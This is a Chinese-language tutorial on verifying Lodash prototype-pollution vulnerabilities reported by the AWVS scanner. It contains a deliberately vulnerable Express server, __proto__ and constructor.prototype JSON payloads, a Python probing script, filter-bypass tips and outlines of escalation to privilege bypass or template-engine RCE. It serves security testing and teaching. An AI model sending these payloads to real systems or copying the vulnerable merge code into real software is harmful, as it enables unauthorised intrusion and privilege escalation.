Lodash原型链污染漏洞实战验证:从原理到AWVS报告深度解析
2026/6/25 21:54:33 网站建设 项目流程

1. 项目概述:从“知道”到“验证”的跨越

在安全测试的日常工作中,我们经常会遇到扫描器(比如AWVS)报出各种漏洞。其中,像“Lodash原型链污染漏洞”这类依赖库的漏洞,报告上往往只有一个冷冰冰的CVE编号和风险等级,比如“CVE-2021-23337”。很多刚入门的朋友看到这个,第一反应可能是:“哦,高危漏洞,得修。” 但紧接着问题就来了:这个漏洞在我的目标应用上真的存在吗?它具体是怎么触发的?能造成什么实际影响?AWVS报的,就一定是真的吗?

这就是“漏洞验证”环节存在的核心价值。它不是一个简单的“是”或“否”的判断题,而是一个需要你亲自动手、深入理解漏洞原理,并最终在目标环境中复现出攻击效果的实证过程。对于Lodash这个在前端世界无处不在的工具库,其原型链污染漏洞的验证尤其典型。它不像SQL注入那样有直观的回显,其危害隐蔽且深远,从数据篡改到远程代码执行都有可能。因此,仅仅依赖扫描器的报告是远远不够的,误报和漏报时常发生。

这篇文章,就是为你准备的从零开始的实战指南。无论你是刚接触Web安全测试的新手,还是想深入理解JavaScript原型链污染机制的安全从业者,我都会带你一步步拆解。我们将从漏洞原理的通俗解读开始,到搭建一个用于验证的靶场环境,再到手把手编写验证脚本,最后深入分析AWVS的扫描逻辑,并分享我踩过的坑和总结的独家技巧。目标只有一个:让你不仅能看懂AWVS的报告,更能亲手验证它,从“知其然”进阶到“知其所以然”,最终具备独立判断和深入利用的能力。

2. 漏洞原理深度拆解:为什么Lodash会“污染”?

在动手之前,我们必须把原理吃透。很多人对“原型链污染”望而生畏,其实它的核心思想可以用一个生活化的比喻来理解:想象一家公司的规章制度(原型对象)。如果有个员工(对象A)想申请一项特殊福利,但公司的员工手册(A自身的属性)里没写,他就会去查阅部门的规章(A的原型),如果还没有,就会继续向上查找公司的总规章(Object的原型)。原型链污染,就相当于有人恶意修改了公司的总规章,在里面加了一条“所有员工年终奖减半”。那么,所有没有在自身或部门规章里明确定义“年终奖”属性的员工,都会自动“继承”这条恶意规则。

在JavaScript中,每个对象都有一个隐藏的__proto__属性(或通过Object.getPrototypeOf()访问),指向它的原型对象。当你访问一个对象的属性时,如果它自身没有,引擎就会沿着这条__proto__链向上查找。Lodash库中的某些函数,在特定使用方式下,会意外地允许攻击者修改这个原型链上的属性。

以经典的CVE-2019-10744(影响Lodash < 4.17.12)为例,罪魁祸首是_.defaultsDeep函数。这个函数的本意是“深度合并”多个对象,如果目标对象缺少某个属性,就用源对象的属性来填充。问题出在它的合并逻辑上。我们来看一段问题代码的简化逻辑:

// 模拟有问题的合并逻辑(非真实源码,便于理解) function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object' && source[key] !== null) { if (!target.hasOwnProperty(key)) { target[key] = {}; // 这里可能错误地创建了对象 } // 递归合并 merge(target[key], source[key]); } else { // 如果target没有这个属性,就赋值 if (!target.hasOwnProperty(key)) { target[key] = source[key]; } } } }

关键点在于if (!target.hasOwnProperty(key)) { target[key] = {}; }这一行。如果攻击者构造一个特殊的source对象,其某个属性的键名是__proto__,而值也是一个对象{“polluted”: “yes”}。当函数递归处理到这个键时,target(可能是某个空对象{})自身没有__proto__属性,于是它就会执行target[“__proto__”] = {}。在JavaScript中,target[“__proto__”]的赋值操作,实际上修改的是target的原型(即Object.prototype!这就导致了污染。

所以,污染发生的条件可以归纳为三点:

  1. 存在漏洞函数:使用了存在问题的Lodash函数(如_.defaultsDeep,_.merge,_.set等在特定版本下的某些用法)。
  2. 用户输入可控:攻击者能够控制传入这些函数的对象数据(通常来自HTTP请求参数、JSON解析等)。
  3. 属性查找路径:目标应用后续存在基于原型链的属性查找逻辑。

污染成功后,影响是全局性的。例如,污染了Object.prototype后,任何对象在访问polluted属性时,只要自身没有定义,都会返回“yes”。这可能导致:

  • 拒绝服务:污染了toStringvalueOf等方法,导致程序崩溃。
  • 逻辑漏洞:影响应用的身份验证、权限判断逻辑(例如,检查user.isAdmin,如果user对象没有isAdmin属性,就会去原型链上找,而攻击者恰好污染了Object.prototype.isAdmin = true)。
  • 远程代码执行:在Node.js环境下,如果污染了console.log等方法,或者结合模板引擎(如Pug/Jade)的渲染,可能实现更严重的攻击。

注意:不同CVE对应的具体函数和触发路径可能不同。例如CVE-2021-23337涉及_.template,而CVE-2020-8203涉及_.zipObjectDeep。但核心的“通过可控输入修改原型”这一模式是相通的。验证前,务必明确你要验证的是哪个具体CVE。

3. 靶场环境搭建与工具准备

“工欲善其事,必先利其器。” 在真实网站上直接测试漏洞是极不道德且违法的行为。因此,我们需要一个安全的、可控的本地环境来练习。这里我提供两种最实用的方案:使用现成的漏洞靶场,或者自己动手搭建一个极简的测试页面。

3.1 方案一:使用现成漏洞靶场(推荐新手)

对于初学者,我强烈推荐使用专门的安全练习平台,它们集成了各种漏洞环境,开箱即用。

  • PortSwigger Web Security Academy (Burp Suite官方靶场):这是我最推荐的免费资源。虽然它没有专门的Lodash靶场,但其“原型污染”实验模块(在“Server-side vulnerabilities”分类下)教授的原理和攻击手法是完全通用的。你可以在这里透彻理解原理后,再应用到Lodash上。
  • Node.js原型污染专项靶场:GitHub上有很多开源项目,例如client-side-prototype-pollution或一些CTF题目集。你可以搜索“prototype pollution lab”或“lodash CVE lab”来找到它们。通常只需要git clone下来,然后运行npm installnpm start即可。

3.2 方案二:手动搭建极简测试环境

如果你想更深入地控制每一个环节,自己搭建一个环境是最好的选择。这能让你对数据流向有最清晰的认识。

步骤1:创建项目目录在你的工作区新建一个文件夹,例如lodash-pollution-test

步骤2:初始化并安装有漏洞的Lodash打开终端,进入该目录,执行以下命令:

npm init -y # 快速创建package.json npm install lodash@4.17.10 # 安装一个已知存在CVE-2019-10744漏洞的版本

这里我们特意安装了一个存在漏洞的旧版本(4.17.10)。在实际验证中,你需要根据AWVS报告指出的CVE编号,去安装对应的受影响版本。

步骤3:创建测试服务器文件在项目根目录下,创建一个名为server.js的文件。我们将使用Node.js的Express框架来快速搭建一个Web服务器,并模拟一个存在漏洞的接口。

const express = require('express'); const _ = require('lodash'); // 引入有漏洞的lodash版本 const app = express(); const port = 3000; // 必须使用,用于解析JSON格式的请求体 app.use(express.json()); // 一个存在漏洞的API端点:使用_.defaultsDeep处理用户传入的配置 app.post('/api/merge-config', (req, res) => { try { const userConfig = req.body.config; // 用户可控的输入 const defaultConfig = { theme: 'light', permissions: { read: true, write: false } }; // 危险操作:使用有漏洞的函数合并对象 // 如果userConfig包含恶意构造的__proto__属性,就会污染原型链 const finalConfig = _.defaultsDeep({}, userConfig, defaultConfig); // 模拟后续操作:检查某个属性(这里模拟一个权限检查) const checkObj = {}; // 如果原型被污染,checkObj.isAdmin可能会变成true if (checkObj.isAdmin) { res.json({ message: 'Merged config. Warning: isAdmin property found on object!', config: finalConfig, polluted: true }); } else { res.json({ message: 'Config merged successfully.', config: finalConfig, polluted: false }); } } catch (error) { res.status(500).json({ error: error.message }); } }); // 另一个端点,用于检查污染是否成功 app.get('/api/check-pollution', (req, res) => { const testObj = {}; // 检查Object.prototype是否被添加了恶意属性 if (testObj.polluted || testObj.isAdmin) { res.json({ polluted: true, pollutedValue: testObj.polluted || testObj.isAdmin, prototypeStatus: Object.prototype }); } else { res.json({ polluted: false }); } }); app.listen(port, () => { console.log(`测试服务器运行在 http://localhost:${port}`); console.log(`存在漏洞的接口:POST http://localhost:${port}/api/merge-config`); console.log(`污染检查接口:GET http://localhost:${port}/api/check-pollution`); });

步骤4:运行并测试在终端中运行:

node server.js

如果看到服务器启动成功的日志,说明环境就绪。这个环境模拟了一个真实的场景:后端接收用户JSON配置,用_.defaultsDeep合并,后续代码可能依赖对象属性进行逻辑判断。

工具准备清单:

  • 浏览器:Chrome或Firefox,用于访问测试页面和开发者工具调试。
  • Burp Suite / OWASP ZAP必备代理工具。用于拦截、查看、重放和修改HTTP请求,是漏洞验证的核心。社区版即可。
  • Postman / cURL:用于快速发送构造好的恶意请求,进行自动化或脚本化测试。
  • Node.js环境:如上所述,用于运行靶场或测试脚本。

实操心得:在搭建环境时,最容易出错的地方是app.use(express.json())这行中间件忘记添加,导致req.body始终是undefined。务必确保它出现在路由处理之前。另外,我建议你在server.js中多添加几个使用不同漏洞函数(如_.merge,_.set)的接口,以便一次性测试多种情况。

4. 手把手漏洞验证实战

现在,我们进入最关键的实战环节。假设AWVS扫描报告指出目标https://example.com/api/user-profile接口可能存在Lodash原型链污染(CVE-2019-10744)。我们将模拟整个验证过程。

4.1 信息收集与目标分析

首先,不是盲目地发送Payload。我们需要分析:

  1. 接口特征:这是一个POST还是GET接口?参数是通过JSON、表单还是查询字符串传递?用浏览器开发者工具的“网络(Network)”标签查看一次正常请求。
  2. 参数定位:哪些参数看起来是对象或数组?比如configoptionsdata这类名称,或者嵌套的JSON结构。
  3. 响应线索:正常响应里是否包含合并后的数据?是否有错误信息暴露了后端技术栈(如“Lodash merge error”)?

假设我们分析发现,POST /api/user-profile接受一个JSON body,其中包含一个profile对象,用于更新用户信息。

4.2 构造并发送探测Payload

我们将使用Burp Suite来操作。

步骤1:拦截请求配置浏览器代理指向Burp,在浏览器中正常操作,触发一次更新用户资料的请求。Burp会拦截到这个请求。

步骤2:修改请求,插入探测Payload在Burp的Proxy -> Intercept标签页下,找到被拦截的请求。将其发送到Repeater模块(按Ctrl+R)以便反复测试。

在Repeater中,我们修改JSON body。最初的请求可能如下:

{ "userId": 123, "profile": { "name": "测试用户", "avatar": "default.png" } }

我们的目标是试探profile参数是否会被传入类似_.defaultsDeep的函数。构造一个经典的探测Payload:

{ "userId": 123, "profile": { "name": "测试用户", "avatar": "default.png", "__proto__": { "polluted": "yes" } } }

或者,更隐蔽的变体(因为有些过滤器会检查__proto__这个键名):

{ "userId": 123, "profile": { "name": "测试用户", "avatar": "default.png", "constructor": { "prototype": { "polluted": "yes" } } } }

步骤3:发送请求并观察响应点击“Send”发送修改后的请求。此时,不要急于在响应体中寻找“polluted”字样。原型污染的成功与否,往往不会在触发请求的响应中直接体现

你需要关注:

  • 响应状态码:是否从200变成了500或400?可能意味着Payload触发了异常。
  • 响应时间:是否明显变长?可能触发了意外的递归。
  • 响应体中的错误信息:有时后端会返回详细的错误栈,可能包含“Lodash”、“Maximum call stack”、“Cannot convert object to primitive value”等关键词,这都是强烈的暗示。

步骤4:验证污染是否成功这是关键一步。污染成功后,需要另一个请求来“检测”污染效果。我们通常有两种方式:

  1. 寻找应用本身的功能点:观察网站是否有其他地方会读取对象的某个属性。例如,找一个查看个人资料的GET请求,看其返回的JSON中,是否多出了我们注入的polluted属性。或者,是否有权限判断的地方发生了改变。
  2. 使用通用检测接口:如果目标应用没有明显功能点,我们可以尝试诱导其输出被污染的原型属性。例如,发送一个请求,让服务器返回一个任意对象的JSON。或者,在我们的靶场中,直接调用之前写好的/api/check-pollution接口。

在Repeater中,我们新开一个Tab,发送一个GET请求到可能输出对象信息的接口,或者直接发一个简单的POST请求,body为{},观察返回的对象是否包含了{“polluted”: “yes”}

4.3 编写自动化验证脚本

手动在Burp里操作适合单点测试,但如果要对多个参数或接口进行批量测试,就需要脚本。这里提供一个使用Pythonrequests库的简单示例:

import requests import json import time def test_prototype_pollution(url, method="POST", param_name="profile"): """ 测试指定接口是否存在原型链污染漏洞 """ headers = {'Content-Type': 'application/json'} # 基础Payload payloads = [ {"__proto__": {"polluted": "PROTO_POLLUTED"}}, {"constructor": {"prototype": {"polluted": "CONSTRUCTOR_POLLUTED"}}}, ] for i, payload in enumerate(payloads): # 根据接口实际情况构造数据 if method.upper() == "POST": data = {param_name: payload} resp = requests.post(url, json=data, headers=headers, timeout=10) else: # 假设是GET,参数在查询字符串,需要特殊处理(通常不适合复杂对象) # 对于GET,原型污染通常通过查询参数解析实现,构造方式不同 print(f"GET请求的测试需要更精细的Payload构造,此处跳过") continue print(f"\n[*] 尝试Payload {i+1}: {json.dumps(payload)}") print(f" 状态码: {resp.status_code}") # 等待一下,让可能的污染生效 time.sleep(1) # 发送检测请求 # 这里需要你根据目标实际情况,找到一个用于检测的接口(detect_url) detect_url = url.replace('user-profile', 'get-info') # 示例 detect_resp = requests.get(detect_url, timeout=10) try: detect_json = detect_resp.json() # 检查返回的JSON对象中是否意外出现了我们的污染属性 # 注意:这里需要递归遍历检测JSON中的所有对象,以下为简单示例 if 'polluted' in str(detect_json): print(f"[!] 疑似污染成功!检测响应中包含 'polluted' 关键字") print(f" 检测响应: {detect_json}") return True, payload except: pass # 另一种检测:检查响应头或Body中是否有异常 if resp.status_code >= 500: print(f"[!] 服务器返回5xx错误,可能是Payload触发了异常。") elif 'polluted' in resp.text.lower(): print(f"[!] 直接响应中出现了污染属性!") return True, payload print(f"\n[-] 所有Payload测试完毕,未发现明显污染迹象。") return False, None if __name__ == "__main__": target_url = "http://localhost:3000/api/merge-config" # 替换成你的靶场或测试地址 is_vulnerable, bad_payload = test_prototype_pollution(target_url, param_name="config") if is_vulnerable: print(f"\n[+] 目标存在原型链污染漏洞!") print(f" 有效Payload: {json.dumps(bad_payload)}")

注意事项:这个脚本是一个基础框架。在实际使用中,你需要根据目标API的具体情况大幅修改:

  • data的构造结构必须完全模拟正常请求。
  • detect_url和检测逻辑需要你精心设计,这是验证成功与否的核心。有时需要同一个会话(session),所以可能要用requests.Session()
  • 考虑目标可能对__proto__constructor等关键字进行过滤或转义,需要准备绕过Payload(如使用Object.prototype__defineGetter__等)。

5. AWVS扫描报告解读与深度分析

当我们拿到一份AWVS关于Lodash漏洞的报告时,不应该只关注那个红色的“高危”标志。一份专业的报告解读能帮你事半功倍。

1. 定位关键信息:

  • 漏洞名称/类型:通常会明确写着“Prototype Pollution in Lodash.js”或类似标题。
  • CVE编号:例如CVE-2019-10744。这是你的行动指南,立刻用这个编号去搜索引擎(如NVD、CNVD)查询官方描述、受影响版本、漏洞细节和可能的PoC。
  • 受影响URL/参数:AWVS会指出它是在测试哪个URL、哪个参数时触发警报的。这直接指明了测试入口点。
  • HTTP请求/响应:报告里会包含触发警报的原始请求和响应数据。仔细分析这个请求,看AWVS是如何构造Payload的,这本身就是一种学习。同时,观察服务器的响应,是否有特征性错误。

2. 理解AWVS的扫描逻辑:AWVS等扫描器通常采用“黑盒+指纹识别+规则匹配”的方式:

  • 指纹识别:它可能通过响应头中的X-Powered-By、错误信息、或是引入的JS文件路径(如/static/vendor/lodash.min.js)来识别Lodash的存在。
  • 版本推断:有时通过文件链接中的版本号(如lodash.4.17.10.js)直接判断。如果版本号在受影响范围内,就会触发漏洞规则。
  • 规则库探测:它内置了针对不同CVE的探测Payload。它会向所有可能的参数(特别是JSON格式的参数)插入这些Payload,然后尝试在后续的请求中检测是否污染成功(比如,它可能会紧接着发送另一个请求,检查响应中是否包含它注入的特定标记)。

3. 为什么需要人工验证?——扫描器的局限性

  • 误报:扫描器可能只是检测到了Lodash库的存在和版本号,但实际代码中并未使用存在漏洞的函数,或者使用方式安全。这就是“版本误报”。
  • 漏报:扫描器的Payload是通用的,可能无法覆盖目标应用特定的参数结构或过滤逻辑。例如,如果目标对输入做了严格的类型检查或过滤了__proto__关键字,通用Payload就会失效。
  • 深度不足:扫描器通常只能验证“污染是否可能发生”,但很难自动验证“污染后能造成什么实际危害”(如是否能升级为RCE)。这需要安全研究员根据应用上下文进行深度利用。

因此,你的验证工作,本质上是在做一次精准的、上下文相关的白盒/灰盒测试,以确认扫描器发现的“可能性”是一个“可利用性”高的真实漏洞。

6. 常见问题、排查技巧与高级利用思路

在验证过程中,你肯定会遇到各种问题。这里我总结了一个“排错清单”和进阶思路。

常见问题与解决方案速查表

问题现象可能原因排查步骤与解决方案
发送Payload后,服务器返回400/500错误1. Payload格式错误,JSON无效。
2. 服务器对请求结构有严格校验。
3. Payload触发了未处理的异常,导致程序崩溃。
1. 使用JSON验证工具检查Payload格式。
2. 先用完全正常的请求结构,只修改一个值,确保基础请求正确。
3. 查看详细的错误响应体,寻找线索。
服务器响应正常,但检测不到污染1. 目标参数并未传入存在漏洞的函数。
2. 使用的Lodash函数或版本不受此CVE影响。
3. 污染成功,但检测点不对。
4. 应用有输入过滤或净化。
1. 尝试其他可能的参数(特别是嵌套对象)。
2. 确认AWVS报告的CVE编号,尝试该CVE对应的其他Payload变种。
3.思考应用的业务逻辑:污染后会影响哪里?用户权限?配置读取?尝试寻找不同的检测接口。
4. 尝试使用constructor.prototypeObject.prototype等绕过过滤。
污染似乎成功,但属性值不是预期的1. 服务器端对值进行了处理(如转义、截断)。
2. 多个合并操作覆盖了你的值。
1. 尝试不同的值(数字、布尔值、数组、对象)。
2. 尝试污染多个属性,看哪个能保留下来。
无法确定后端是否使用了Lodash1. 前端使用了,但后端可能没有。
2. 使用了打包工具,库被混淆。
1. 检查前端JS源码,搜索lodash_.等关键字。
2. 故意触发一个前端错误,看错误栈信息。
3.最有效的方法:如果可能,结合其他信息泄露漏洞(如源码泄露、调试接口)确认。

高级利用思路

当你确认原型污染存在后,可以思考如何提升漏洞的严重等级:

  1. 从污染到RCE(远程代码执行):这是在Node.js环境下最危险的利用。思路是污染一个能被代码执行流使用的属性。
    • 目标:污染Object.prototype上的方法,使其在child_process.execeval等函数被调用时,注入恶意代码。但这通常需要应用本身有这类危险函数的调用,并且调用时依赖于可能被污染的参数。
    • 经典案例:结合模板引擎。如果应用使用Pug(原名Jade)模板,并且污染了Object.prototype.blockObject.prototype.escape等属性,可能在渲染模板时执行任意代码。你需要研究特定模板引擎的渲染机制。
  2. 污染前端(Client-Side Prototype Pollution, CSPP):如果漏洞存在于前端JavaScript代码中(例如,从URL参数解析成对象后使用了有漏洞的Lodash函数),那么攻击的影响范围是所有访问该页面的用户。可以通过污染来操纵DOM、窃取Cookie、发起恶意请求等。验证时需要在浏览器开发者工具的Console中检查Object.prototype是否被修改。
  3. 利用污染进行权限提升:这是最务实的利用。仔细分析应用逻辑,寻找那些根据对象属性进行权限判断的地方。例如:
    // 后端可能存在的代码逻辑 if (currentUser.isSuperAdmin) { // currentUser对象可能没有isSuperAdmin属性 // 执行管理员操作 }
    如果你污染了Object.prototype.isSuperAdmin = true,那么所有currentUser对象(只要自身没有isSuperAdmin属性)都会通过这个检查。

我的独家避坑技巧

  • “二分法”定位参数:如果请求参数很多,不确定是哪个触发的,可以先用正常请求,然后每次只在一个参数中插入Payload,快速定位脆弱点。
  • 善用“Diff”工具:将发送污染Payload前后的两个“检测请求”的响应体保存下来,用文本对比工具(如diff命令或Beyond Compare)进行比较。有时污染导致的差异非常细微(比如多了一个逗号,某个值从null变成了”polluted”),人眼很难发现。
  • 上下文是关键:永远不要脱离应用上下文去验证漏洞。这个API是干什么的?它处理的数据会流向哪里?哪些地方会用到这些数据?回答这些问题,能帮你找到最有效的检测点和利用路径。
  • 保持环境纯净:在Node.js靶场测试时,注意每次测试后重启服务。因为原型污染是持久性的,会污染整个Node进程环境,影响后续测试结果。使用nodemon工具可以方便地自动重启。

验证一个漏洞,尤其是像原型污染这种隐蔽的漏洞,需要耐心、细心和对原理的深刻理解。AWVS的报告只是一个起点,它为你指明了方向。真正的价值在于你通过亲手验证,将报告上的一个条目,转化为对目标系统真实安全风险的理解。这个过程积累的经验和直觉,是任何自动化工具都无法替代的。希望这篇长文能成为你武器库中的一件实用工具,助你在安全测试的道路上走得更稳、更远。如果在实践中遇到新的问题,不妨回到原理和流程本身,从头梳理,往往会有新的发现。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询